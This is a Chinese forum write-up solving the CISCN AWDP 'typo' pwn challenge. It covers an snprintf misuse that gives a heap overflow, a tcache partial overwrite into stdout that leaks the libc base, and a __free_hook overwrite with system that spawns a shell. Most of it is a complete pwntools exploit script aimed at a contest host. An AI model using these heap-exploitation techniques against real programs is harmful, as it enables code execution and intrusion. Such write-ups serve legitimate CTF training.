-
-
[原创]ccb-18届ciscn-AWDP-typo题解
-
发表于: 3天前 319
-
先运行./pwn查看功能
然后使用ida进行审查
发现
snprintf参数传递错误,这道题目本质是对堆进行修改,采用堆溢出的打法
但是这道题没有回显,所以先要泄漏libc地址
在libc-2.31版本中存在tcache机制,并且fd没有进行加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | #--------------------泄漏libc基址-------------------------io = start([])payload = b"%136c"+ p64(0x511)stdout = libc.sym["_IO_2_1_stdout_"] #d6a0stdin = libc.sym["_IO_2_1_stdin_"]lss('stdout')lss('stdin')for i in range(12): add(i, 0x80)edit(0, payload, "a")free(1)for i in range(12, 12+9): add(i, 0x80)for i in range(12,12+7): free(i)free(20)free(19)add(1,0x80)free(9)add(12,0x40)add(13,0x30)edit(12, b'A'*0x50+p64(0x420), "aaaa")edit(13, b'A'*8, b'A'*0x38+b"\x90\x26")#------------------------修改io_stdout----------------------add(14, 0x80)add(15, 0x80)edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")ru(p64(0))libc.address = uu64()-0x1ec980 |
在free9之前的堆图是


在edit(13)的时候

编辑13会覆盖tcache9的fd,为什么edit13要把paload写在后半段呢,因为在第一次输入的时候snprintf会在发送的文本后面加入\0x00导致你在覆盖写的时候原本只要修改低两字节的,会修改成低3字节导致出现问题,爆破的概率1/16,因为
unsort_fd = libc+1ebb80+0x60
stdout =libc+1ed6a0
我们发现在这中只有低两字节不一样,而低两字节中的低三位是固定的,所以说只有一位是不确定的而这一位有16种

在这个泄露出来的地址是什么呢?是stdin结构的地址
stdin=libc+1ec980
因此我们拿到了libc基址开始free_hook
1 2 3 4 5 6 7 8 9 10 11 | edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91))free(14)edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8))add(16, 0x80)add(17, 0x80)edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4) lss("libc.address")edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa")free(11) |
在add之后堆变成了

我们将free的地址替换成了system的地址
将参数换成了/bin/sh
free(11)就替换出来system(/bin/sh)
最后exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 | from pwn import *sd = lambda data :io.send(data)sa = lambda text,data :io.sendafter(text, data)sl = lambda data :io.sendline(data)sla = lambda text,data :io.sendlineafter(text, data)rc = lambda num :io.recv(num)ru = lambda text :io.recvuntil(text)rl = lambda :io.recvline()pr = lambda num=4096 :print(io.recv(num))itr = lambda :io.interactive()l32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))l64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))uu32 = lambda :u32(io.recv(4).ljust(4,b'\x00'))uu64 = lambda :u64(io.recv(6).ljust(8,b'\x00'))int16 = lambda data :int(data,16)ls = lambda x :log.success(x)lss = lambda x :ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x))) #----------------------初始化-----------------------attack = '10.10.1.113 28142'.replace(' ',':') binary = './pwn'ld = "./ld-2.31.so"libc_path = './libc-2.31.so'def start(argv=[], *a, **kw): if args.GDB:return gdb.debug([ld,'--library-path','.',binary], gdbscript=gdbscript) if args.TAG:return remote(*args.TAG.split(':')) if args.REM:return remote(*attack.split(':')) return process([ld,'--library-path','.',binary]) context(binary = binary, log_level = 'debug',terminal='tmux splitw -h -l 170'.split(' '))context.aslr = Falseelf = ELF(binary)libc = ELF(libc_path,False)#---------------debug------------------#断点gdbscript = '''brva 0x001698brva 0x01754'''.format(**locals()) menu = ">>"def add(idx,size): sla(menu,'1') sla("Index: ",str(idx)) sla("Size: ",str(size))def free(idx): sla(menu,'2') sla("Index: ",str(idx)) def edit(idx,size,text): sla(menu, '3') sla("Index: ", str(idx)) sa("New size of content: ", size) sa("What do you want to say: ", text) #--------------------泄漏libc基址-------------------------io = start([])payload = b"%136c"+ p64(0x511)stdout = libc.sym["_IO_2_1_stdout_"] #d6a0stdin = libc.sym["_IO_2_1_stdin_"]lss('stdout')lss('stdin')for i in range(12): add(i, 0x80)edit(0, payload, "a")free(1)for i in range(12, 12+9): add(i, 0x80)for i in range(12,12+7): free(i)free(20)free(19)add(1,0x80)free(9)add(12,0x40)add(13,0x30)edit(12, b'A'*0x50+p64(0x420), "aaaa")edit(13, b'A'*8, b'A'*0x38+b"\x90\x26")#------------------------修改io_stdout----------------------add(14, 0x80)add(15, 0x80)edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")ru(p64(0))libc.address = uu64()-0x1ec980#------------------------free_hook-----------------------edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91))free(14)edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8))add(16, 0x80)add(17, 0x80)edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4) lss("libc.address")edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa")free(11)itr() |
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!
最后于 10小时前
被不再pwn编辑
,原因: 改主题
赞赏
谁下载
无
赞赏
雪币:
留言: